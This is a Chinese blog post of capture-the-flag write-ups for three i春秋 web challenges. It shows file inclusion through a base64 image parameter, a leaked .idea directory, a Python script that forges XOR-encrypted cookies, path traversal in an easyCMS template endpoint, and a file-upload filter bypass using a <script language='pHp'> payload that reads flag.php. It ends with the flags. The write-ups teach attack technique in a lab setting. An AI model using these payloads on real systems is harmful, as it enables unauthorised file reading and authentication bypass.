# WP 4 i春秋_百度杯”CTF比赛（九月第一场）

原创

segOt 于 2017-04-22 13:20:48 发布 2347 收藏





CODE
YeserCMS
upload

## CODE

> base64文件包含，.idea目录结构泄露，加解密

打开页面后，看到一张图片，且链接为如下形式：

```
http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/index.php?jpg=hei.jpg
```

可以看到参数jpg后面跟着一个文件名，查看网页源代码发现，此图片是采用BASE64编码形式显示的。

所以可以采取如下方式

```
http://...index.php?jpg=index.php
```

查看网页php源码（还要经过一步base64解密）。如下：

```php
<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>
```

可以看到对jpg的参数进行了一些处理，除了大小写字母、数字和小数点，都会被删除，并且**config**会被转换成下划线_。

另外注意头部的注释，可以看到此代码实在phpStorm编写的。其所使用的IDE环境为**intellij idea**，而此idea都会在项目根目录有一个**.idea**文件夹，其中会泄露源码文件名等信息。

访问如下网址：

```
http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/.idea/workspace.xml
```

可以看到如下内容

```
<component name="FileEditorManager">
  <leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
    <file leaf-file-name="fl3g_ichuqiu.php" pinned="false" current-in-tab="false">
      <entry file="file://$PROJECT_DIR$/fl3g_ichuqiu.php">
        <provider selected="true" editor-type-id="text-editor">
          <state vertical-scroll-proportion="-4.071429">
            <caret line="6" column="3" selection-start-line="6" selection-start-column="3" selection-
            <folding />
          </state>
        </provider>
      </entry>
    </file>
    <file leaf-file-name="config.php" pinned="false" current-in-tab="false">
      <entry file="file://$PROJECT_DIR$/config.php">
        <provider selected="true" editor-type-id="text-editor">
          <state vertical-scroll-proportion="-6.107143">
            <caret line="9" column="2" selection-start-line="9" selection-start-column="2" selection-
            <folding />
          </state>
        </provider>
      </entry>
    </file>
    <file leaf-file-name="index.php" pinned="false" current-in-tab="true">
      <entry file="file://$PROJECT_DIR$/index.php">
        <provider selected="true" editor-type-id="text-editor">
          <state vertical-scroll-proportion="0.35359803">
            <caret line="15" column="30" selection-start-line="15" selection-start-column="30" select
            <folding />
          </state>
        </provider>
      </entry>
    </file>
  </leaf>
</component>
```

可以看到除了**index.php**外，还有**config.php**、**fl3g_ichuqiu.php**文件夹，如上文所述，index.php中，正好可以构造一下来查看**fl3g_ichuqiu.php**文件的源代码。如下：

```
http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/index.php?jpg=fl3gconfigichuqiu.php
```

得到fl3g_ichuqiu.php的php源代码如下

```php
<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "ヽ(ゝ▽ﾉ)ノ";
}
?>
```

可以看到，下一步是构造一个名字为**user**的cookie，使得其解密后的值为`system`。

观察其加解密函数，可以看到加密函数的内容是先在对原文的每个字符+10偏移。然后获取一个4位的随机字符串，和`$key`（此变量应该在config.php文件中，无法得到）连接起来进行MD5作为新的`$key`。将偏移后的字符串与新的`$key`进行异或，将随机的四位字符串`$rnd`与异或后的结果连接起来进行base64编码，即为加密结果。

关键在于，我们无法获取config.php文件中`$key`的值，也就无法得到加密时候的`md5`结果之`$key`，无法将`system`进行加密。

分析源码，发现在未能解密出`system`的时候，服务器会返回`guest`的加密结果。而通过`guest`的加密值，我们是能够逆推回去此次加密所使用的`$rnd`和前五位`$key`的值的（因为`guest`有五位）。所以，在加密`system`时，加密时的`$rnd`值可以采用相同的值，所以得到的MD5值就与加密`guest`所用的`$key`相同。而加密`system`需要六位`$key`的值，那最后一位采用穷举的办法。

最后将所有结果都向服务器发送一遍，就能得到flag。代码如下

```
#!/usr/bin/python
# coding=utf-8

import base64
import requests

text = 'guest'
crypt = 'YldhV0lHV09O'

crypt = base64.b64decode(crypt)
rnd = crypt[0:4]
crypt = crypt[4:]

text1 = ''
for i in text:
    text1 += chr(ord(i) + 10)

key = ''
for (i, j) in zip(text1, crypt):
    key += chr(ord(i) ^ ord(j))

text = 'system'
text1 = ''
for i in text:
    text1 += chr(ord(i) +10)

cookies = []

for i in '0123456789abcdef':
    key1 = key + i
    tmp = ''
    for (j, k) in zip(text1, key1):
        tmp += chr(ord(j) ^ ord(k))
    cookies.append(base64.b64encode(rnd + tmp))

#r = requests.session()

for i in cookies:
    cookie = {'user':i}
    r = requests.session()
    result = r.get('http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/fl3g_ichuqiu.php',
    print result.text
```

需要注意的是，不能采用同一个session向服务器重复发送请求，这样会将原本的cookie值也带着，即服务器返回的cookie中的user字段和自己设置的user字段都会被发送至服务器，无法得到结果。

所以每次发送请求都要新建一个requests的session，最后得到flag如下

```
flag{de19d81f-2fb9-4176-bb99-79209148630d}
```

---

## YeserCMS

其实是easyCMS，网上一搜可以看到有大量漏洞。此题看他人的writeup，貌似payload直接被i春秋主站拦截，405错误。

略过前面几步，直接到admin:Yeser231登录，后台管理这一步。在模板编辑这一块存在漏洞，点击**[编辑]**按钮的时候，会发送一个post请求，获取文件源码，可以利用此请求获得flag。

```
http://c54244941f5543ad9b495a703334da6b8c0a4db052344f91.ctf.game/index.php?case=template&act=fetch&admin_dir=admin&site=default
```

附带的post数据为

```
id=../../flag.php
```

可以获得flag

```
flag{0ffb715a-7289-4704-9ed6-31c54d8820e3
```

---

## upload

> 文件上传

这道题目能够上传文件，因此可以考虑构造一个php脚本获得flag.php文件的内容。查阅资料的过程中，在这里看到许多绕过姿势，可以看到，本题的过滤还是很弱的。

首先上传了一个php脚本如下：

```
<? php

$flag = fopen("../flag.php", "r") or die("unable to open flag.php");
echo fread($flag, filesize("../flag.php"));
fclose($flag);

?>
```

直接上传成功，打开后发现显示如下：

```
$flag = fopen("../flag.", "r") or die("unable to open flag."); echo fread($flag, filesize("../flag."));
```

可以看到，`<?`和`php`均被过滤了。

对于`<?`的过滤，可以采用如下方式绕过

```
<script language="php"> ... </script>
```

其中php因为被过滤，可以在代码中换用大写字母绕过，代码中的“php”可以采用在代码中采用大写字幕，程序转化为小写的方式，标签中的则可以直接改为大写字母，改为`language="pHp"`。

最后php代码如下：

```
<script language="pHp">

$flag = fopen("../flag.".strtolower("PHP"), "r") or die("unable to open the file!");
echo fread($flag, filesize("../flag.".strtolower("PHP")));
fclose($flag);

</script>
```

查看网页源码即可看到flag

```
flag{062f8e8d-8c94-49c0-8d2f-f37f0eab31e2}
```